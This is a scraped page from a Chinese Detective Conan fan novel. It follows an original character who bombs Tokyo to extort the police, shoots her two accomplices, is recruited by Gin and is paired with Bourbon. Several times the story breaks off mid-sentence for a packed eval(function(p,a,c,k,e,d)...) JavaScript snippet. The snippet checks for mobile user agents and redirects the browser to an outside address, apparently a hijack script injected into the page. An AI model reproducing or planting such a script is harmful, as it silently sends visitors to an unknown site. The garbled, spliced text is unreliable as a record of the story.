松田阵平定了定神,把这件事记在心里,很快就跟着目暮警官投入到后续的工作中了,虽然日向财二答应了犯人的要求,但警方的任务还没有结束,如何快速地处理剩下的炸弹,疏散民众并抓到犯人才是现在最大的难题。 “他们同意了。”岸本泉也重复了一遍这个结果,好像还没缓过来神。 “恭喜。”若间菊江随口祝贺道,“现在,你们可以准备逃命了。” “你之前说的,不要一分钱是真的吗?”岸本泉也小心翼翼地确认道,话语中的贪婪怎么也遮盖不住。 “当然,就像最开始说好的那样,钱不在我的目标范围内。不光如此,我还会帮你们逃命。”若间菊江眉目间尽是厌烦,语气反而带了丝循循善诱,“拿到钱后尽快前往我们约好的码头,我会在那里接应你们。”说完就切断了通话。 若间菊江深深地吐出一口气,和愚蠢的男人说话真是费劲。 真的有人信她不要一分钱的鬼话?小学生都知道天上没有掉馅饼的美事。 若间菊江站在天台的边缘,手里是两部手机,一部用来和日向财二通话,一部用来联系岸本泉也,现在计划完成,她也该早点撤离了。 天台的风还真是大,若间菊江的大衣衣摆翻飞,她把和日向财二通话的那部手机里的电话卡拿出来,摆成两瓣,随手一扔,电话卡瞬间消失在视野里。 她把手机摆在天台的边缘,在下面压了个小纸条,然后转身离开。 警察很快就会找到这里来,希望他们会喜欢她打的这个招呼。 驾驶着她的二手车到达越好的码头,若间菊江靠着车门点燃一根烟,在海风里等了十几分钟,岸本和森山才姗姗来迟。 “把钱搬到这辆车里,警方给你们准备的车肯定会安装定位器,”若间菊江看着兴奋不已的两人,说道,“等他们发现信号断在这里后,肯定会怀疑你们是坐船偷渡出去了,到时候你们就可以趁警方调查海上船只的时候再寻机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岸本泉也整个人僵住了,直勾勾地看着森山青木的尸体,直到尸体被远远抛在后面再也看不见了,他才恍若惊醒,目眦欲裂地伸手想要掐若间菊江的脖子,“你居然杀了他!” “那不然呢?”若间菊江冷静地反问,“等他去帮助警察拆弹然后再把警察引过来?” 她左手把着方向盘,右手拿着手枪抵在岸本泉也的额头上,“我帮你解决了一个同伙,你现在可以一个人拿到这20亿日元了,不开心吗?” 额前的手枪让岸本泉也冷静了下来,他刚刚被一时的愤怒冲昏了头脑,忘记了眼前这个女人是一个危险人物。 “算了,既然不开心,那就送你去见你的好朋友吧。”若间菊江余光看到岸本泉也张嘴欲辩解,抢先一步打断道,生怕自己再多听到他说一个字,毫不犹豫地扣动了扳机。 多听他说一句话都是在浪费自己的生命。 子弹穿过岸本泉也的大脑打碎了副驾驶的车窗,玻璃和飞溅的鲜血洒了一地。 “我刚买的车……”若间菊江小声哀叹,有点后悔刚刚的冲动了,这下不光车不能再用了,自己也被溅了半身血迹,“怎么每次都这么难清理。” 杀掉课长那天晚上,她也是收拾到大半夜才把所有沾到自己血迹的东西处理完毕,然后还要伪造水野上的犯罪现场,最后一夜没睡。 若间菊江唉声叹气地打开手机给上级发送任务完成的邮件,真不知道换车的费用组织能不能报销。 没过多久,她就收到了一封回复,号码却不是上级用来和她联络的那个。 “带着东西来这里。”下面是一个郊区的地址。 署名是若间菊江曾在组织里听说过的一个代号。 Gin。 7. 第 7 章 组织一直在监视她的动向,若间菊江是知道的这件事的。 毕竟她是动用组织的渠道拿的那些炸弹材料,如果她是领导肯定也会关注手下员工的产出成果。 不过没想到组织对她这么关注,她到手的钱还没捂热乎就要交出去了。 好吧好吧,若间菊江自我安慰,反正这笔钱留在她手里也很难花出去。 日本警方后续肯定会对钱款进行追踪,这么大额的数目想要完全洗白是很麻烦的事情,与其攥着钱不放,等着上司给她穿小鞋,不如顺水推舟把这笔钱交上去。 有的东西有命要也得有命花啊。 若间菊江花了5秒说服了自己,把车内的广播换成dj电台,在动感的音乐中拉着岸本泉也飞驰而去,将身后街区传来的警鸣声抛在车后。 虽然炸弹犯警告了不许轻举妄动,但是在犯人面前警方不会那么老实。 在确认了炸弹完全拆除后,警视厅就加派了人手从各个方向追捕犯人。 松田阵平和萩原研二也在其中,他们去的地方是通过那通电话反向定位到的犯人的地址。 可惜等他们到达米花大饭店顶楼的天台时,已经人去楼空,为了确保民众的安全,他们放弃了太多时间。 松田阵平在天台的边缘看到了若间菊江留下的手机,手机下压着的纸条上是一个三笔勾勒出的简易的笑脸。 松田阵平紧紧捏着那张纸,捶了一下天台的栏杆,“可恶……我一定要抓到这个犯人。” 被松田阵平心心念念的若间菊江已经抵达了目的地。 琴酒给的地址是几排荒凉的仓库。 她把车停到指定的仓库门口,四下观察了下,没有看到传说中组织王牌杀手的影子,只好下车伸了个懒腰,悠悠闲闲地坐在车的引擎盖上,在仓库与仓库之间泄露的唯一一丝阳光下晒太阳。 “你看起来倒是放松。”身后传来一个男人冷酷的声音,琴酒穿着黑色的大衣,银白的长发披在身后,双手插在兜里。 若间菊江没有回头,昂着头在阳光下眯起眼睛,语气遗憾,“初次见面就这么对我吗?我还以为这件事结束后我可以被当作组织的功臣好好善待呢。” 在若间菊江脑后,一个黑漆漆的枪口抵在那里。 “功臣?”琴酒冷笑一声,“溜进组织的老鼠。” “呜哇,别这么说啊,哪有用老鼠比喻女生的,真是不解风情。”若间菊江抱怨道,“而且光天化日下动刀动枪多不好。” “喀哒”,琴酒没有管若间菊江的插科打诨,拉动了保险栓,“——日本公安的女儿,现在的条子派人来卧底都不准备假身份了吗?” 琴酒嘴角咧开,明明下一秒就会扣动扳机,还是颇有兴趣地问。 “什么嘛,日本的犯罪组织也搞子传父业那一套吗?阶级固化还是太严重了。”若间菊江嘟嘟囔囔,琴酒的枪口又向前压了压。 “真有卧底会傻到用真实身份进入犯罪组织吗?”若间菊江被琴酒这种单方面的压迫搞烦了,闭着眼睛大声嚷嚷。 真是讨厌,像恋爱中那种冷暴力又PUA的男朋友,不讲逻辑,只是一味地指责。 “如果这种卧底都能进来,那组织也收拾收拾倒闭得了。”若间菊江的嘴还在输出,“当初进组织的时候说不进行背调,结果入职以后暗中调查还想辞退我,难道是想抢我的业绩吗?” 琴酒握枪的手都攥紧了,“你在说什么?” 一直在旁边没出声的伏特加目瞪口呆,这个女人真的能控制自己的嘴吗? “你不会是想杀了我独吞这20亿日元吧?”若间菊江又提出一种可能性,还没等她展开说明,琴酒气极反笑,声音阴森森的,“我给你3秒的时间重新思考你的遗言。” 若间菊江叹了口气,“真是无趣,”说罢语气骤然冷淡起来,“我还以为这20亿日元足够体现我的诚意了。” 没错,若间菊江这次选择把事情闹大,除了自己确实讨厌警察以外,还有另一层原因。 她从进入组织的那一刻起意识到这个组织并非那种大街上随处可见的街头帮派,不管组织对底层人员的管理有多松散,一旦进入了上层的视线,势必会对她的背景进行调查,那她就会有一个致命的弱点——爸爸的公安身份。 不管若间菊江心里有多讨厌日本的警察,明面上她都是警察的子女,还是爸爸因公殉职,自己受到警方优待的那种。 所以若间菊江在接到上级的任务时,就明白了这是一场考验,出于组织上层的恶趣味,看看“卧底”能够做到什么份上。 所以她做出了一个震动警界的案子,这个案子里,警方无疑是损失最惨重的那个。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643162|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来仓库之前她还不是很有把握,组织的作风应该是宁可错杀不可放过,但是琴酒跟她废了这么半天话还没有开枪,真正让若间菊江放松下来。 应该不会有人在杀卧底之前长篇大论吧,又不是演话剧。 “警方不会疯狂到用三条人命和东京警视厅的面子还送一个明晃晃的卧底进组织。”若间菊江拖着长音说道,“哦对了,你的消息可能还没更新。” 若间菊江无视琴酒枪口的威胁,跳下引擎盖绕道车子的另一边,拉开了副驾驶的门,岸本泉也的尸体失去了车门的支撑滑到车外,重重地摔在地上,发出一声闷响。 “噔噔,新鲜出炉!”若间菊江做了一个介绍的手势,“岸本君快跟二位打个招呼。” 一阵风吹过,卷起了地上的尘土,仓库门口寂静无声。 “呵,”琴酒嗤笑一声,收起了手枪,顺势揣进了西装外套的兜里,还没等若间菊江好奇地仔细观察,就背过身去,“这次做得不错,但是小心不要露出老鼠尾巴了。” 其实琴酒是主张把若间菊江直接杀死的,但是这次的事件甚至连Boss都注意到了。 “她对组织来说是个不可多得的人才。” 只是一句话就让琴酒妥协了。 “接下来你跟我去美国,我会时刻盯着你的。”琴酒的一句话打断了若间菊江的探头探脑。 “这算是升职吗?”若间菊江礼貌地问。 “随你怎么想。”琴酒已经发现了这个女人疯癫的本质,不打算跟她多费口舌,如果不是Boss重视,真想给她一枪。 “不要被我抓到把柄了,柯尔希。”琴酒冷冷地扔下一句不知道是忠告还是嘲讽的话,没有多看若间菊江一眼,走向了停在不远处的保时捷A356。 柯尔希,樱桃白兰地,酒液呈金黄色,果香纯正口感微苦,从今以后也是若间菊江的代号了。 “还真是升职了。”若间菊江自言自语道。 眼见着琴酒和伏特加打算开车离开,若间菊江连忙问道,“那东西怎么办?” 琴酒缓缓摇上车窗,“放在仓库里就会有人处理的。”然后就潇洒地离开了,留给若间菊江一地车尾气。 若间菊江回头看着仓库门口那一堆烂摊子,有些窒息。 果然升职的打工人还是打工人,只有被压榨的命。 8. 第 8 章 不管是20亿日元还是带血的车子和岸本泉也的尸体,处理起来都十分麻烦。 若间菊江撑着下巴发愁,她倒是很想把车子和岸本泉也一起炸掉,就像处理上一辆车子那样,炸弹可以很好地掩盖所有的痕迹,但是即使这里地处偏僻,爆炸声也很容易引来路人的关注,万一在警察比组织收尾的人员更早赶到就完蛋了。 而且那20亿日元搬起来也很费劲…… 琴酒真是冷酷无情,若间菊江在心里默默吐槽。 被枪指着的时候没感觉,被怀疑的时候没感觉,被放狠话的时候没感觉,被一个人仍在这里处理烂摊子的时候,若间菊江终于感受到了组织同事之间的人情冷漠。 但是不用费心思处理同事关系也算是一个优点吧,若间菊江很快就调理好了自己,并且顺从地融入其中。 既然大家都没有同事情,她也不用想太多。 若间菊江把岸本泉也的尸体重新塞回车里,直接把车开进了仓库。 还好距岸本泉也死亡还没过去太久,尸体还没有完全僵硬,若间菊江擦了擦脑门上一点也没出的汗,大功告成地舒了口气。 现在的天气还很冷,尸体放在这一时半会儿不会有什么问题,等收尾的成员处理就好了。 毕竟像她这样的女生,和尸体待在一起时间太长也是会害怕的。 若间菊江把沾血的外套扔在车座上,在后视镜里仔细检查了一下,确认身上没有任何血迹,才满意地把仓库的大门插上锁,溜溜达达地走出去准备打车回市区。 不过若间菊江还是低估了组织的警惕性,开车过来的时候她心情爽快没有注意,走回去的时候才发现,这个碰头的仓库说是在郊区都抬高它了,走了一两公里都没有发现任何路过的车辆或者行人。 真难想像在土地资源稀缺的日本,组织还能找到这种地方。 琴酒这是让她荒野求生啊,若间菊江咬牙切齿地骂了琴酒八百遍,踩着高跟鞋,忍着脚下的酸痛,顺着公路往前走。 天色逐渐黑下来,若间菊江抱着手臂打了个喷嚏,正当她嘴里嘟嘟囔囔地第八百二十一遍骂琴酒时,一辆小轿车停在了她旁边。 “这位小姐,请问你需要帮助吗?” 车里是一对年轻的情侣,此刻正担忧地看着她。 这么偏僻的地方,一个女生穿着单薄的衣服独自出现在路边,这让经验丰富的东京人忍不住怀疑她是不是被绑架到这里来后成功出逃的绑匪人质,或者想要找地方寻死的失意青年。 若间菊江看着车里两张清澈的脸,垂眸想了一秒都不到,就开口道,“抱歉。你们可以让我搭一乘便车回东京吗?”可能是抵挡不住夜风的寒意,她的声音有一丝颤抖。 小情侣很快就邀请若间菊江上车,还热情地递给她一条毛茸茸的毯子,车里的温暖这才让若间菊江感觉重新活过来了。 差一点被杀掉了,若间菊江咬着后槽牙挤出一个难看的微笑,这让这对小情侣对视一眼,更加确信若间菊江肯定经历了悲惨的事情,怜悯之心更重。 在小情侣询问发生了说什么的时候,若间菊江吸了吸鼻子,才低声开口道,“其实我刚刚完成了工作上的一个大项目,刚想找男朋友庆祝一下,”指琴酒,“却被他叫到这个地方。” “他带着第三者警告我,”不用怀疑,就是伏特加,“还说想要杀了我,我好不容易恳求他,才让他放过我,”若间菊江停顿了一下,仿佛陷入了回忆,实则拼命忍住才没有破功,“然后他就带着那个人一起开车离开了,留我一个人在原地,甚至我的外套还在车里。”只不过这个车是她自己的车罢了。 那对小情侣听了,同情之色溢于言表,不光绞尽脑汁安慰他,还帮她大骂渣男和第三者,若间菊江垂着头低声回应着,没让前排的两人看见她嘴角的笑容。 编排同事不光能让她收获快乐,还能让她失去烦恼。 一路上的时间就这么愉快地过去了,进入东京市区后,还能感受到白日里炸弹犯勒索警视厅案件的余韵,各大路口都设置了警察临检的障碍物,街区也是警鸣声不断。 若间菊江这辆车也受到了警察的检查,为首的警察正是若间菊江熟悉的萩原研二和松田阵平。 因为白天那场风波,现在警视厅人人斗志昂扬,发誓一定要把那个可恶的炸弹犯绳之以法,捡回警视厅丢失的面子,挽回警方的公信力,所以即使到了晚上,整个警视厅大楼依旧灯火通明,全员加班。 而身为案件的中心,□□处理班在解决了所有的炸弹后反而成了警视厅里最闲的部门,炸弹犯所用的炸弹结构其实非常简单,唯一棘手的就是间接在炸弹上的水银汞柱,但也能很快弄清原理。 因此萩原研二和松田阵平主动申请帮助搜查一课排查犯人,一想到犯人会在拿到钱后露出一副丑恶的嘴脸,松田阵平就气得牙痒痒。 玩弄那么多民众的性命,那家伙到底把人命当什么?! 在车里裹着毯子的若间菊江打了个喷嚏,她揉揉鼻子,暗道不妙,今天在冷风中走了太久估计是感冒了。 车子一点一点蠕动,警方的检查很快轮到了若间菊江所在的车,因为他们是入市的方向,所以检查的力度会比出市的方向轻很多。 临检的小警员简单的检查了下车里的人员,后座那个裹着毯子的女生让他有些好奇,不过身后压着的长长的车队让他没时间满足自己的好奇心,匆匆地盘问几句三人的关系就放行了。 他其实并不理解前辈们要求双向检查的要求,炸弹犯一旦逃出东京肯定会往更远的地方逃去,甚至是离开日本,怎么还会重新回来? 因此他的检查也都只是流于表面,满脑子想的都是快点检查完就可以休息了,高强度的工作实在是让他吃不消。 “喂!你给我认真一点!”松田阵平发现了小警员的走神,冲他喊着,一边往这边走,恰好与车内的若间菊江擦肩而过。 松田阵平有些疑惑地回头,他刚刚好像看到了一个熟悉的侧脸。 另一边小警员已经被松田阵平沉下来的脸色吓得连连道歉,虽然他和松田阵平萩原研二等人是同一批入职的,但是他还是很害怕这位同期。 “好啦好啦,小阵平也不要这么紧绷着。”萩原研二走过来打圆场,他们是过来帮忙的,如果对其他人过于严厉只会让人觉得指手画脚,传出去对小阵平的名声不好。 松田阵平抖掉肩膀上萩原研二搭过来的手臂,阴着脸走到一边,他还在为白天萩原研二不穿防护服的事情生气,现在完全不想搭理萩原研二。 被撂下的萩原研二苦笑一声,追上去在松田阵平身后连连道歉,“小阵平我真的错了,我发誓我下次一定好好穿上防护服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643163|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “然后又觉得防护服妨碍行动对吧?”松田阵平冷笑一声,根本就不领情,这个家伙散漫惯了,就连性命相关的事情都能这么轻视! “小阵平……”萩原研二的话还没说出口就被松田阵平冷冷地打断了,“先工作吧。” 萩原研二叹了口气,看来这次要哄好小阵平可不容易了。 另一边,那对小情侣走了很远都在讨论今天的炸弹案。 “我一直在看媒体的直播,紧张得手心出汗,这次的犯人真是太可恶了。”女生说道。 “结果最后还是要向犯人妥协,警察根本一点用处都没有啊!真不知道一天天拿着我们纳税人交的钱都干嘛了。”男生倒是表现得很不屑。 女生犹豫了下,还是劝道,“警官们也很辛苦了,每天都要和不同的犯人斗智斗勇……” “哼。”男生还是一脸不满,但是因为女朋友的话也没再多说什么。 “一线的警察也很不容易,今天我也后怕了很久呢。”若间菊江突然加入对话。 女生为对方能和自己共鸣而有些惊喜,“是吧是吧。” “我爸爸就是警察,他一直以能够保护民众而骄傲,我也很为他骄傲。”若间菊江提起爸爸,脸色都柔和下来。 “不过,”她话锋一转,“现在的日本政府还是太腐败了,警界高层各怀鬼胎,让真正干实事的警察不光要与罪犯做斗争,还要防着自己人的被刺,一不小心就难以落得好下场呢。” 若间菊江语气平静,仿佛在说一件完全不相干的事情,但是话语深处还是藏着深深的恨意。 女生张了张嘴,这话题有些沉重,让她不知道怎么接话,不过好在若间菊江很快就把这一页翻过去了,好像刚才只是随口一提。 “今天真是非常感谢你们,如果不是你们我可能还在郊外吹冷风,就算冻死了我男朋友也不会管我的。”若间菊江说得很真挚,“你们就在附近放下我就好了,我自己打车回去。” 那对小情侣连连拒绝,不仅死活不要若间菊江支付的报酬,还硬是把她送到公寓楼下,临下车甚至还强行把毛毯塞给她。 “希望你不要嫌弃这个不是新的。”女生有些脸红地抓着若间菊江的手说道“若间小姐,你长得这么漂亮,以后肯定会有更优秀的男人追求你的,渣男就让他滚蛋吧!你不要为此伤心。” 若间菊江的笑容加深,“谢谢你们,祝你们幸福。” 小情侣对视一眼,甜蜜地笑了下,告别后驾车离开了。 若间菊江披着毯子站在楼下,摸了摸毛茸茸的毯子,自嘲地笑了下。 这么多年过去了,她居然对两个陌生人说了那些话,果然是最近过得太放松了吗? 冷风呼啸,薄薄的毯子也难以抵御,若间菊江裹紧了些,转身进入公寓楼。 手机震动了两下,传来琴酒的邮件,“后天去美国,组织给你安排了新的搭档,代号波本。” 若间菊江按灭手机,想起了女生让琴酒滚蛋的发言。 真可惜不能看到琴酒听到这话时会有多么精彩的脸色了,她只是偶尔稍微作死又不是真的想死。 若间菊江深深吐出一口气,把自己摔进了柔软的床里。 波本?她进入组织这段时间明里暗里地打听,并没有听说过这个代号,和她一样是组织的新人吗? 9.第 9 章 第二天的若间菊江难得地早早起床,哼着歌给自己煎了个鸡蛋后,搭配着牛奶解决了早餐。 阳台上晾着昨天晚上那对小情侣送她的毯子,晨曦照在上面,看着就让人暖洋洋的。 明天要去美国,今天组织应该不会再给她安排新的任务了,若间菊江把盘子放进水槽,伸了个懒腰,决定出去逛一逛。 组织提供的经费昨天晚上已经到账了,效率之高让若间菊江受宠若惊。 也许只有被拖延过报销的人才能懂这一刻若间菊江的舒心。 找到合适的公司果然是美好生活的开始,若间菊江掐着腰环顾了一下四周,感觉她的小公寓已经配不上她的银行卡余额了,等从美国回来就重新找房子好了。 她的小车也报废了,等奖金下来就去挑最新款。 若间菊江美滋滋地想着,很快给自己化了个淡妆,下楼叫了个计程车直奔银座。 也许是受昨天的炸弹案的影响,今天银座的人没有往常那么多,导购员小姐也都是一副担忧的样子。 根据警方的消息,炸弹犯发生了内讧,已经找到了炸弹犯一位男性同伙的尸体,还有一人在逃,谁也不敢保证银座会不会是下一个目标。 而若间菊江就在这样的氛围里踩着高跟鞋,“哒哒哒”地高傲地走进来了。 上大学时因为没有选择若间妈妈建议的专业,若间菊江的生活费并不充裕,工作以后虽然钱变多了,但是空闲时间变少了,每天加班后只想睡觉,有时间出去逛街还不如多休息休息。 所以若间菊江已经很久没有好好逛过街了。 正巧今天人又很少,方便了若间菊江大肆采购。 购物不愧是女人的舒适区,拜托导购员小姐把新买的那堆衣服送到家里后,若间菊江神清气爽,被上司骚扰同事欺压的日子好像已经是上个世纪的事情了。 如果没有被小偷盯上,那若间菊江会觉得这真是完美的一天。 从银座出门走在大街上,若间菊江就感受到那股盯着她的视线,不至于危险,但是也让人不适。 最开始她以为是被犯罪的同行盯上了欲意挑衅,还有些惊讶对方居然真的找的到她,这种水平可比警视厅那群人高多了。 若间菊江满怀期待地佯装不觉,等待对方走到自己身边,进行他的下一步计划,却没想到她身侧的包动了动,一只手伸了进去。 若间菊江:…… 是她高估对方了,哪有什么挑衅,只不过是因为刚刚花钱太凶,被当作有钱的大小姐成为偷窃的目标罢了。 若间菊江无声地叹了口气,上次是在警察局门口被抢劫,现在是在银座的大街上被盗窃,日本的犯罪率真的不能再拯救一下了吗? 还没等她想好是回头给对方一拳还是装作刚刚发现的样子捂着包尖叫,身边突然传来一个温和的声音。 “这位先生,我劝你还是放弃吧。” 一个黑皮金发的青年不知道什么时候站到了若间菊江身侧,一只手握住小偷伸进包里的那只手,一边说着话,一边将两人隔开。 哇塞,好有特色的帅哥。 若间菊江的注意力瞬间从小偷转移到青年身上,看清对面的脸的时候脑子里冒出了这个念头。 可惜帅哥都是男的,迟早会变成招人讨厌的大叔,若间菊江在心里扼腕叹息。 那个小偷没想到自己跟踪了一路的目标,马上就要得手了,突然半路杀出个碍事的,一咬牙从身后掏出一把小刀就要向前刺去。 青年脸色变都没变,一手攥着小偷的手腕向上擎,一手直劈过去,小刀应声落地,被青年一脚踢远,停在三米外转了两圈。 “哇偶。”若间菊江站在青年身后赞叹地鼓掌,对方这套动作下来不超过三秒,动作干净利落,一看就是练过的。 听到掌声,金发青年转过头来,手上还拽着被制服的小偷,有点无奈地问道,“小姐,你有没有什么东西丢了的?” 若间菊江眨眨眼,摇了摇头,青年制止得很及时,况且她也不是完全没有防备。 她的视线从青年的脸上转移,落到了那个看起来半死不活的小偷上,后知后觉地问道,“……我是不是应该报警?” 青年看了看周围,已经有路人掏出了手机正在打电话,“看来已经有人报警了。” 他略微低了低头,避过了举着手机拍照的围观群众,把小偷交给了听到声音跑出来的银座安保人员,看起来就准备离开了。 现在他不适合待在这么显眼的地方,更不适合被这么多人注意到。 “我应该好好感谢你才对。”若间菊江伸手拉住了对方。 “没关系,下次要小心一点,尤其是女孩子一个人的时候。”青年拂下若间菊江的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646745|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,一个晃眼就消失在人群中了。 一个长相帅气的大好人,若间菊江在心里给青年这么评价,连带着对被压在一边的小偷也看着顺眼了不少。 如果每次被当作犯罪目标都会有帅哥相救,那也不是不能这么继续倒霉下去,若间菊江在等待警察的时候不着调地想。 这次出警的是伊达航,原本这种犯罪未遂的小案子到不了搜查一课的手上,不过因为这两天警视厅的人手都被拉去搜捕炸弹犯了,甚至巡警也没有空闲,恰好他回警视厅汇报进度,顺路就跑一趟。 “刚刚我在这里逛街,他凑到我身边来想偷东西,是一个黑皮金发的小哥制止了他。”若间菊江三言两句把事情交代了一下。 “哦?”熟悉的特征让伊达航来了点兴趣,“那他人呢?” “可能是有事,急急忙忙地走了。”若间菊江耸耸肩。 这个描述和这个做派,伊达航也推测这个见义勇为的小哥八九不离十就是自家好友。 对于一毕业就杳无音讯的降谷零和诸伏景光,伊达航也大致能猜到两个人去干了什么,既然好友不方便露面,他也没有在这个问题上过多询问,简单做了个笔录就带着小偷离开了。 被这么一耽搁,若间菊江也没有了什么继续逛街的兴致,随便打包了一份晚饭,就回家准备明天的出差事宜。 护照之类的东西都是组织帮忙准备好的,所以若间菊江只拖了一个轻便的小箱子装了几件适合美国温度的衣服。 机场里的琴酒还是穿得这么惹人注意。 若间菊江大老远就看到了两个黑漆漆的人,有这种同事的好处就是找人的时候特别方便,不用举着手机打着电话到处寻找标志物,毕竟他们自己就是标志物。 坏处就是走在他们方便很容易被人怀疑脑子和审美。 若间菊江觉得有点丢脸并且一点也不想靠近,奈何琴酒严格来说应该是她的上司,便显出对上司的嫌弃乃是职场的大忌,磨磨蹭蹭地走过去了以后,她才发现琴酒和伏特加的不远处站着一个熟悉的金发身影。 “波本,和你一样是组织的新人。”琴酒的声音阴恻恻地响起。 金发小哥,或者说波本,眼睛里也闪过一丝惊讶,不过很快就被冷漠所替代。 “我是柯尔希,以后请多多指教。”若间菊江扬起一个笑脸,主动握手,说道。 10.第 10 章 波本垂下眼睛看着柯尔希伸到自己面前的手,金色的碎发遮挡住的眼中神色不明。 那是一双保养得很好的手,白皙细腻,指甲透出淡淡的粉,任谁也想不到这双手的主人会在犯罪集团中混得风生水起。 就像柯尔希的那张脸一样,清雅明丽,是走在大街上会有许多人明里暗里偷瞄的类型,和她身旁站着的琴酒伏特加画风极其割裂,完全是两个世界的人。 在见面之前,波本就已经大致了解了一下柯尔希,这也是作为情报人员必要的功课。 作为和他差不多时间加入组织的成员,柯尔希的每项任务都完成地相当完美,和娴静稳重的外表不同,她的行事作风十分大胆,手段也相当激进,完全是说一不二的强硬派。 在组织里最新更新的传闻就是组织的收尾人员在回收20亿日元的时候,拉开车门毫无心理准备地直面一具死相惨状的尸体和隐隐约约带着臭味的日元。 从此柯尔希的标签在“疯子”、“行事不合常理”外又多加了一条“变态”。 只是没想到她会是昨天自己在大街上随手帮助的人……波本看似面不改色,实际上心已经沉了下去,帮助陌生人抓小偷的行为和他在组织里立的人设相差甚远,他需要找一个完美的理由圆过去。 “波本。”他快速回握了一下若间菊江的指尖,稍显冷淡地扔下两个字。 若间菊江摸摸鼻子,悻悻地收回了手。 琴酒嗤笑一声,似乎对若间菊江的吃瘪乐见其成。 若间菊江听到嘲笑,回头快速地白了琴酒一眼,琴酒轻哼,却意外地没有发作。 波本的神色轻轻动了一下,琴酒没有掩饰他对柯尔希的讨厌与不满,柯尔希也是一样,但这次却是琴酒点名要柯尔希加入行动,行为上甚至还能称得上忍让,看来这背后的意味值得深思。 “大哥,时间快到了。”伏特加看了看表,快要登机了,对琴酒说。 琴酒点点头,率先离开,波本和若间菊江乖乖地跟在他后面。 签证和护照都是组织给准备好的,一点也不需要若间菊江操心,不过除了若间菊江,其他几个人用的都是假名。 至于若间菊江,在她看来为工作多花心思就是对自己的不尊重,她只是换了一份刚工作而已,也没什么需要躲躲藏藏的。 要知道,在日本□□可是合法企业,而组织只不过稍微出格了一点,本质上没有太大区别的啦。 坐在头等舱的座椅里,若间菊江悠闲地喝了一口空姐送来的红酒,拉下眼罩准备快乐地补觉。 这是她第一次出国,昨天晚上像个要春游的小孩子一样兴奋地睡不着觉,早上起床时倒是哈欠聊天,差点睡过头,只能急匆匆地打车往机场跑,虽然是最后一个到的,但好歹没误机。 若间菊江已经做好了在经济舱度过十几个小时的准备,没想到组织的福利这么好,出差居然还能坐头等舱,这就是代号成员的待遇标准吗?太好了,升职又有动力了。 不过她转念一想,想必组织的后勤人员对琴酒的风格也是有所耳闻,和这种恨不得在脸上写着“我是犯罪分子”的人待在一起那么久,而且在半空中连报警这种自我安慰的事情都做不到,别的乘客也会很难受吧。 在背后偷偷吐槽完讨厌的同事,若间菊江心满意足地陷入了睡眠,一觉飞过了太平洋,除了吃简餐和上厕所外几乎没怎么动弹,因此也没有机会和新搭档进行友好的交流破冰环节。 波本但是企图找机会多接触若间菊江,可惜最后只能失望了。 飞机到达美国时,当地正是夜晚,组织的人已经在机场等待接应了。 作为一行人中唯一的女性,若间菊江感受到不少美国的成员自以为隐蔽的打量。 由于企业性质的问题,组织没有一般的公司那样偏向于招收男性员工,但是男女的身体差异就意味着组织里的女性很难出头。 能够获得代号的更是少之又少,在美国的组织成员能够接触到的也就只有那一位而已。 若间菊江迷瞪着眼睛,也懒得搭理那些视线。 她在飞机上睡得昏昏沉沉的,还没完全清醒,根本不想做出任何反应,这种事情她这些年也经历了不少了,也已经习惯了,但是出来玩的兴奋明显褪去了许多。 波本注意到若间菊江的萎靡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664329|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微皱了皱眉,就算对方是组织成员…… 他拉箱子走到她身侧,看似追赶琴酒的步伐,一边还在面色不变地与接应的成员交流,一边却自然而然地帮若间菊江挡住了那些视线。 若间菊江感受到新搭档的贴心,睡意散去了些。 波本真是个大好人! 感谢大自然的馈赠让波本做她的搭档。 若间菊江一路上就这样怀揣着一颗感恩的心入住了美国的酒店。 这年头细心又乐于助人的帅哥不多了,况且波本的好人卡可是在职场见面之前就得到认证的,这可比那些同事见虚伪的面具要靠谱多了。 有这样的好人搭档可以减少职场上百分之五十的烦恼。 